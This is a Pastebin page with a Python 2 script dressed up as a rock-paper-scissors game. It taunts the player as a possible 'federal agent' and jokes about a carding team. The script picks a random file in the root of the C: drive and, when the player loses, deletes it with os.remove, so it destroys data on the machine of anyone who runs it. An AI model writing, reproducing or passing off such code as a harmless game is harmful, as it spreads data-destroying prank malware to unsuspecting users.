Advertisement
decript

pythonlulz

Mar 22nd, 2015
314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.56 KB | None | 0 0
  1. from random import randint
  2. import os
  3. import random
  4. import dircache
  5. import os
  6. import shutil
  7.  
  8. dir = 'C:\\'
  9. filename = random.choice(dircache.listdir(dir))
  10. path = os.path.join(dir, filename)
  11.  
  12. #defining choice so it's a real variable if user input is false
  13. choice = -1
  14.  
  15. for i in range(35):
  16.     print " "
  17.  
  18. #user input place
  19. print "Are you a federal agent?"
  20. print "                        "
  21. print "          ^             "
  22. print "         | |            "
  23. print "       @#####@          "
  24. print "     (###   ###)-.      "
  25. print "   .(###     ###) \    "
  26. print "  /  (###   ###)   )    "
  27. print " (=-  .@#####@|_--\"     "
  28. print " /\   \_|l|_/ (\      "
  29. print "(=-\    |l|    /       "
  30. print " \ \.___|l|___/        "
  31. print " /\     |_|   /        "
  32. print "(=-\._________/\       "
  33. print " \            /        "
  34. print "   \._________/         "
  35. print "     #  ----  #         "
  36. print "     #   __   #         "
  37. print "     \########/         "
  38. print "                        "
  39. print "                        "
  40. print "(In order to find out, we've taken", filename, "hostage)"
  41. input = raw_input("Here, quick game of Rock Paper Scissors to make the decision (R/P/S): ")
  42.  
  43. #clear console because OCD
  44. for i in range(35):
  45.     print " "
  46.  
  47. #translation of input to integers
  48. if input == "r":
  49.     choice = 0
  50.     choices = "Rock"
  51. if input == "p":
  52.     choice = 1
  53.     choices = "Paper"
  54. if input == "s":
  55.     choice = 2
  56.     choices = "Scissors"
  57.  
  58. #creating random choice from 0-2 (rock, paper, scissors) for enemy
  59. enemy = randint(0, 2)
  60. if enemy == 0:
  61.     enemys = "Rock"
  62. if enemy == 1:
  63.     enemys = "Paper"
  64. if enemy == 2:
  65.     enemys = "Scissors"
  66.  
  67. #checking if user input is real
  68. if choice == 0 or choice == 1 or choice == 2:  
  69.  
  70.     #rock
  71.     if choice == 0:
  72.         print "Your choice was:", choices
  73.         print "Enemy's choice was:", enemys
  74.         if enemy == 0:
  75.             print "Tie game, play again so we can see if you're really a fed."
  76.             dead = False
  77.             again = True
  78.         if enemy == 1:
  79.             print "You lost, you're a fucking federal agent, I'm coming for you."
  80.             print "Before I come for you however, I killed your buddy", filename
  81.             dead = True
  82.             again = False
  83.         if enemy == 2:
  84.             print "Nice win. Whew, thought you were a federal agent for a second."
  85.             dead = False
  86.             again = False
  87.    
  88.     #paper
  89.     if choice == 1:
  90.         print "Your choice was:", choices
  91.         print "Enemy's choice was:", enemys
  92.         if enemy == 0:
  93.             print "Nice win. Whew, I'm happy I didn't have to blow your head off."
  94.             dead = False
  95.             again = False
  96.         if enemy == 1:
  97.             print "Tied? We'll have to play again to see if you're a fed."
  98.             dead = False
  99.             again = True
  100.         if enemy == 2:
  101.             print "You lost. Guess we'll have to drop the payload on your localhost."
  102.             print "Looks like the file in your C drive", filename, "had too much stress."
  103.             dead = True
  104.             again = False
  105.    
  106.     #scissors
  107.     if choice == 2:
  108.         print "Your choice was:", choices
  109.         print "Enemy's choice was:", enemys
  110.         if enemy == 0:
  111.             print "You lost? Really? You? A federal agent? I never expected this. *pow*"
  112.             print "*you look around, only to find", filename, "dead*"
  113.             dead = True
  114.         if enemy == 1:
  115.             print "Nice win, welcome to the blackhat carding team."
  116.             dead = False
  117.         if enemy == 2:
  118.             print "Tie game, play again to see if you can join our carding team."
  119.             dead = False
  120.             again = True
  121. else:
  122.     #feedback if user didn't input a correct input
  123.     print "You're slurring your speech, come play another time."
  124.  
  125. if dead == True:
  126.     #i've heard os.* is unstable, fix this l8r
  127.     #plus directory shit is annoying
  128.     os.remove(os.path.join(dir, filename))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement